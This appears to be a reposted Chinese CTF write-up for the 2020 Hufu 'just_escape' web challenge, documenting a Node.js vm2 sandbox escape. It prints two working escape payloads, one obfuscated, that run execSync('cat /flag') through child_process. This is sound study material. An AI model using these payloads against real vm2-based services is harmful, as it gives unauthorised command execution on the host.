【原创】记一次ctf实战——2020-数字中国创新大赛虎符网络安全赛道-Web-just_escape

admin 2022年12月3日16:42:37评论27 views字数 1109阅读3分41秒阅读模式

[huayang]

【原创】记一次ctf实战——2020-数字中国创新大赛虎符网络安全赛道-Web-just_escape

进去看看

【原创】记一次ctf实战——2020-数字中国创新大赛虎符网络安全赛道-Web-just_escape

有意思的点

【原创】记一次ctf实战——2020-数字中国创新大赛虎符网络安全赛道-Web-just_escape

run.php看看

【原创】记一次ctf实战——2020-数字中国创新大赛虎符网络安全赛道-Web-just_escape
<?php
if( array_key_exists( "code", $_GET ) && $_GET[ 'code' ] != NULL ) {
    $code = $_GET['code'];
    echo eval(code);
} else {
    highlight_file(__FILE__);
}
?>

审计一下

没有什么看的,,,没头绪

看看别人的文章

哦,Node.js沙箱逃逸,又是新姿势

所以就简单说一下fla扩展知识放在以后再说

既然知道了是Node.js沙箱逃逸我们用Error().stack查出错误信息

【原创】记一次ctf实战——2020-数字中国创新大赛虎符网络安全赛道-Web-just_escape

从中可知js的vn2框架

直接去网上找payload

run.php?code[]=try{Buffer.from(new Proxy({}, {getOwnPropertyDescriptor(){throw f=>f.constructor("return process")();}}));}catch(e){ e(()=>{}).mainModule.require("child_process").execSync("cat /flag").toString();}

or

run.php?code[]=(function (){
    TypeError[`${`${`prototyp`}e`}`][`${`${`get_proces`}s`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return this.proces`}s`}`)();
    try{
        Object.preventExtensions(Buffer.from(``)).a = 1;
    }catch(e){
        return e[`${`${`get_proces`}s`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`cat /flag`).toString();
    }
})()
【原创】记一次ctf实战——2020-数字中国创新大赛虎符网络安全赛道-Web-just_escape
【原创】记一次ctf实战——2020-数字中国创新大赛虎符网络安全赛道-Web-just_escape

推荐文章:

https://blog.csdn.net/a3320315/article/details/105619800

https://www.jianshu.com/p/67b5b05137da

https://xz.aliyun.com/t/7184

https://www.cnblogs.com/ichunqiu/p/12841211.html

https://www.anquanke.com/post/id/170708?display=mobile

[/huayang]

FROM:浅浅淡淡[hellohy]

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年12月3日16:42:37
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【原创】记一次ctf实战——2020-数字中国创新大赛虎符网络安全赛道-Web-just_escapehttp://cn-sec.com/archives/1443379.html

发表评论

匿名网友 填写信息